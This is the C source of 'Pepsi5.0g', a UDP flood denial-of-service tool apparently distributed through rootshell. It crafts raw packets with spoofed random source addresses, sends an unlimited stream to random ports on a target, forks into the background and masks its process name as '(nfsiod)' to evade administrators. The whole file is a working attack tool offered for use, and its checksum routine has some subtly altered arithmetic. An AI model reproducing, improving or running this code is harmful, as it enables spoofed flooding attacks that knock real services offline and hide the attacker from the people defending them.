/*
 * Pepsi5.0g By pwr @undernet.org - [ http://www.rootshell.com/ ]
 * Based on Original Pepsi.c Code by Soldier
 * 
 * Public Distribution 1
 *
 * Mail debug/comments to cha0s1@hotmail.com
 *
 */

/*----------------- [Defines] */
#define Port_Max 65534
#define Packet_Max 1023
#define Frequency_Max 300
#define Default_Fork 0
#define Default_Stealth "(nfsiod)"
/* Color Pallete ------------ */
#define B  "\033[1;30m"
#define R  "\033[1;31m"
#define G  "\033[1;32m"
#define Y  "\033[1;33m"
#define U  "\033[1;34m"
#define M  "\033[1;35m"
#define C  "\033[1;36m"
#define W  "\033[1;37m"
#define DR "\033[0;31m"
#define DG "\033[0;32m"
#define DY "\033[0;33m"
#define DU "\033[0;34m"
#define DM "\033[0;35m"
#define DC "\033[0;36m"
#define DW "\033[0;37m"
#define RESTORE "\33[0;0m"
#define CLEAR "\033[0;0H\033[J"
/* --------------- [Includes] */
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/protocols.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <signal.h>
#include <netinet/ip_udp.h>
#include <string.h>
#include <pwd.h>
#include <time.h>

/* [Banner] */

void banner()
{
printf("%s",CLEAR);
printf("\n\n%sPepsi %s5%s.%s0g %sby SoulBlaze%s@%sundernet %s(%sBlackICE%s) %s[%s11%s|%s12%s|%s98%s]%s\n",R,W,B,W,U,G,U,B,DW,B,DC,DY,DC,DY,DC,DY,DC,RESTORE);
printf("%sBased on the Original %spepsi%s.%sc %scode by %sSoldier%s\n",DU,R,B,R,DU,W,RESTORE);
printf("%sAdditional Help by %sChuckStalker%s,\n",DU,W,RESTORE);
printf("%sLWR%s, and %stq%s.\n",W,DU,W,RESTORE);

}


 
/* [Option Parsing] */

struct sockaddr_in dstaddr;

unsigned long dst;

struct udphdr *udp;
struct iphdr *ip;

char *target;
char *srchost;
char *stealth;

int dstport = 0;
int srcport = 0;
int numpacks = 0;
int psize = 0;
int wait = 0;
int forknum = 0;

/* [Usage] */

void usage(char *pname)
{
    printf("\n\n%sUsage%s %s: %s[%sarguements%s] %s<%sTarget Ip%s>%s\n\n",DG,R,pname,DM,U,DM,DM,U,DM,RESTORE);
    printf("%sOption                Description                 Default Value\n\n",W,RESTORE);
    printf("%s-%ss %s<%sSource IP  %s>    %s: %sPacket Origin             %s[%s    Random   %s   ] \n",DR,DU,W,DC,W,DW,B,W,DC,W,RESTORE);
    printf("%s-%sn %s<%sPacket Num %s>    %s: %sLimit of Sent Datagrams   %s[%s   Unlimited  %s  ] \n",DR,DU,W,DC,W,DW,B,W,DC,W,RESTORE);
    printf("%s-%sp %s<%sPacket Size%s>    %s: %sDatagram Size             %s[%s 1 - %d bytes%s ] \n",DR,DU,W,DC,W,DW,B,W,DC,Packet_Max,W,RESTORE);
    printf("%s-%sd %s<%sTarget Port%s>    %s: %sDestination Port          %s[%s    Random    %s  ] \n",DR,DU,W,DC,W,DW,B,W,DC,W,RESTORE);
    printf("%s-%so %s<%sSource Port%s>    %s: %sSource Port               %s[%s    Random    %s  ] \n",DR,DU,W,DC,W,DW,B,W,DC,W,RESTORE);
    printf("%s-%sw %s<%sFrequency  %s>    %s: %sDelay Between Each Packet %s[%s  0 - %d ms%s    ] \n",DR,DU,W,DC,W,DW,B,W,DC,Frequency_Max,W,RESTORE);
    printf("%s-%sf %s<%sFork Number%s>    %s: %sNo. of Times Backgrounded %s[%s   0 Times    %s  ]%s \n",DR,DU,W,DC,W,DW,B,W,DC,W,RESTORE);
    printf("%s-%sx %s<%sStealth    %s>    %s: %sMask Process As           %s[%s   %s     %s]%s",DR,DU,W,DC,W,DW,B,W,DC,Default_Stealth,W,RESTORE);   
    printf("\n\n");
    exit(EXIT_SUCCESS);
}

/* [In chksum with some mods] */

unsigned short in_cksum(addr, len)
u_short *addr;
int len;
{
    register int nleft = len;
    register u_short *w = addr;
    register int sum = 0;
    u_short answer = 0;

    while (nleft > 1) {
	sum += *w++;
	sum += *w++;
	nleft -= 2;
    }

    if (nleft == 1) {
	*(u_char *) (&answer) = *(u_char *) w;
	sum += answer;
    }
    sum = (sum >> 17) + (sum & 0xffff);
    sum += (sum >> 17);
    answer = -sum;
    return (answer);
}

/* Resolve Functions */

unsigned long resolve(char *cp)
{
    struct hostent *hp;

    hp = gethostbyname(cp);
    if (!hp) {
	printf("[*] Unable to resolve %s\t\n", cp);
        exit(EXIT_FAILURE);
    }
    return ((unsigned long) hp->h_addr);
}

void resolvedest(void)
{
    struct hostent *host;

    memset(&dstaddr, 0, sizeof(struct sockaddr_in));
    dstaddr.sin_family = AF_INET;
    dstaddr.sin_addr.s_addr = inet_addr(target);
    if (dstaddr.sin_addr.s_addr == -1) {
	host = gethostbyname(target);
	if (host == NULL) {
	    printf("[*] Unable To resolve %s\t\n", target);
            exit(EXIT_FAILURE);
	}
	dstaddr.sin_family = host->h_addrtype;
	memcpy((caddr_t) & dstaddr.sin_addr, host->h_addr, host->h_length);
    }
    memcpy(&dst, (char *) &dstaddr.sin_addr.s_addr, 4);
}

/* Parsing Argz */

void parse_args(int argc, char *argv[])
{
    int opt;

    while ((opt = getopt(argc, argv, "x:s:d:n:p:w:o:f:")) != -1)
	switch (opt) {
	case 's':
	    srchost = (char *) malloc(strlen(optarg) + 1);
	    strcpy(srchost, optarg);
	    break;
        case 'x':
            stealth = (char *) malloc(strlen(optarg));
            strcpy(stealth, optarg);
            break;
	case 'd':
	    dstport = atoi(optarg);
	    break;
	case 'n':
	    numpacks = atoi(optarg);
	    break;
	case 'p':
	    psize = atoi(optarg);
	    break;
	case 'w':
	    wait = atoi(optarg);
	    break;
	case 'o':
	    srcport = atoi(optarg);
	    break;
	case 'f':
            forknum = atoi(optarg);
            break;
        default:
	    usage(argv[0]);
	}
    if (!stealth)
       stealth = Default_Stealth;
    if (!forknum)
       forknum = Default_Fork;
    if (!argv[optind]) {
	printf("\n\n%s[%s*%s]%s Bzzzt .. We need a Place for the Packets to Go%s\n",DC,W,DC,DR,RESTORE);
	exit(EXIT_FAILURE);
    }
    target = (char *) malloc(strlen(argv[optind]));
    if (!target) {
	printf("\n\n%s[%s*%s]%s Unable to Allocate Required Amount of Memory for Task%s\n",DC,W,DC,DR,RESTORE);
        perror("malloc");
	exit(EXIT_FAILURE);
    }
    strcpy(target, argv[optind]);
}

int cloaking(int argc, char *argv[])
{
  int x;

  for (x = argc-1; x >= 0; x--)

    memset(argv[x], 0, strlen(argv[x]));
    strcpy(argv[0],stealth); 

 return(0);
}
/* [Send Packet] */

void main(int argc, char *argv[])
{
    int q, xx, sen, i, unlim = 0, sec_check;
    char *packet;

    banner();

    if (argc < 2)
	usage(argv[0]);


    parse_args(argc, argv);
    
    cloaking(argc, argv);
    
    resolvedest();

    printf("\n\n%s  [%s*%s]%s  Target Host%s          :%s %s%s\n",DC,W,DC,DR,DC,DW,target,RESTORE);
    if (!srchost)
    printf("%s  [%s*%s]%s  Source Host%s          :%s Random%s\n",DC,W,DC,DR,DC,DW,RESTORE);
    else
    printf("%s  [%s*%s]%s  Source Host%s          :%s %s %s\n",DC,W,DC,DR,DC,DW,srchost,RESTORE);    
    if (!numpacks)
    printf("%s  [%s*%s]%s  Number%s               :%s Infinite%s\n",DC,W,DC,DR,DC,DW,RESTORE);
    else
    printf("%s  [%s*%s]%s  Number%s               :%s %d%s\n",DC,W,DC,DR,DC,DW,numpacks,RESTORE);
    if (!psize)
    printf("%s  [%s*%s]%s  Packet Size%s          :%s 1 - %d bytes%s\n",DC,W,DC,DR,DC,DW,Packet_Max,RESTORE);
    else
    printf("%s  [%s*%s]%s  Packet Size%s          :%s %d%s\n",DC,W,DC,DR,DC,DW,psize,RESTORE);
    if (!wait)
    printf("%s  [%s*%s]%s  Wait Time%s            :%s 0 - %dms%s\n",DC,W,DC,DR,DC,DW,Frequency_Max,RESTORE);
    else
    printf("%s  [%s*%s]%s  Wait Time%s            :%s %d%s\n",DC,W,DC,DR,DC,DW,wait,RESTORE);
    if (!dstport)
    printf("%s  [%s*%s]%s  Destination Port%s     :%s Random%s\n",DC,W,DC,DR,DC,DW,RESTORE);
    else
    printf("%s  [%s*%s]%s  Destination Port%s     :%s %d%s\n",DC,W,DC,DR,DC,DW,dstport,RESTORE);
    if (!srcport)
    printf("%s  [%s*%s]%s  Source Port%s          :%s Random%s\n",DC,W,DC,DR,DC,DW,RESTORE);
    else
    printf("%s  [%s*%s]%s  Source Port%s          :%s %d%s\n",DC,W,DC,DR,DC,DW,srcport,RESTORE);
    printf("%s  [%s*%s]%s  Backgrounded%s         :%s %d%s\n",DC,W,DC,DR,DC,DW,forknum,RESTORE);
    if (!stealth)
    printf("%s  [%s*%s]%s  Masked As%s            :%s %s%s\n",DC,W,DC,DR,DC,DW,Default_Stealth,RESTORE);
    else
    printf("%s  [%s*%s]%s  Masked As%s            :%s %s%s\n",DC,W,DC,DR,DC,DW,stealth,RESTORE);

    
if (forknum) {
 switch(fork()) {
  case -1:
printf("%s  [%s*%s]%s Your OS cant Make the fork() call as we need it",DC,W,DC,DR,RESTORE); 
printf("%s  [%s*%s]%s This is usually an indication of something bad%s",DC,W,DC,DR,RESTORE); 
 exit(1);
  case 0:
   break;
  default:
   forknum--;
	for(xx=0;xx<forknum;xx++){
	switch(fork()){
	 case -1:
	 printf("%s  [%s*%s]%s Unable to fork%s\n",DC,W,DC,DR,RESTORE);
	 printf("%s  [%s*%s]%s This is usually an indication of something bad%s",DC,W,DC,DR,RESTORE);
	exit(1);
	 case 0:
	xx=forknum;
	  break;
	default:

	if(xx==forknum-1){
         printf("%s  [%s*%s]%s  Process Backgrounded%s\n",DC,W,DC,DR,RESTORE);
        exit(0);
			}
	break;
   }
  }
 }
}
   
   sen = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    packet = (char *) malloc(sizeof(struct iphdr) + sizeof(struct udphdr) + psize);
    ip = (struct iphdr *) packet;
    udp = (struct udphdr *) (packet + sizeof(struct iphdr));
    memset(packet, 0, sizeof(struct iphdr) + sizeof(struct udphdr) + psize);

    if (!numpacks) {
	unlim++;
	numpacks++;
    }
    if (srchost && *srchost)
	ip->saddr = resolve(srchost);
    ip->daddr = dst;
    ip->version = 4;
    ip->ihl = 5;
    ip->ttl = 255;
    ip->protocol = IPPROTO_UDP;
    ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr) + psize);
    ip->check = in_cksum(ip, sizeof(struct iphdr));

    udp->source = htons(srcport);
    udp->dest = htons(dstport);
    udp->len = htons(sizeof(struct udphdr) + psize);

    /*
     * Because we like to be Original Seeding rand() with something as
     * unique as time seemed groovy.  Lets have a loud Boo for Pattern
     * Loggers.
     */ 
    srand(time(0));

    for (i = 0; i < numpacks; (unlim) ? i++, i-- : i++) {
	if (!srchost)
	  ip->saddr = rand();
        if (!dstport)
          udp->dest = htons(rand()%Port_Max+1);
        if (!srcport)
          udp->source = htons(rand()%Port_Max+1);
        if (!psize)
          udp->len = htons(sizeof(struct udphdr) + rand()%Packet_Max);

	if (sendto(sen, packet, sizeof(struct iphdr) +
		   sizeof(struct udphdr) + psize,
		   0, (struct sockaddr *) &dstaddr,
		   sizeof(struct sockaddr_in)) == (-1)) {
	    printf("%s[%s*%s]%s Error sending Packet%s",DC,W,DC,DR,RESTORE);
	    perror("SendPacket");
	    exit(EXIT_FAILURE);
	}
     if (!wait)
      usleep(rand()%Frequency_Max);
     else
      usleep(wait);
    }
}

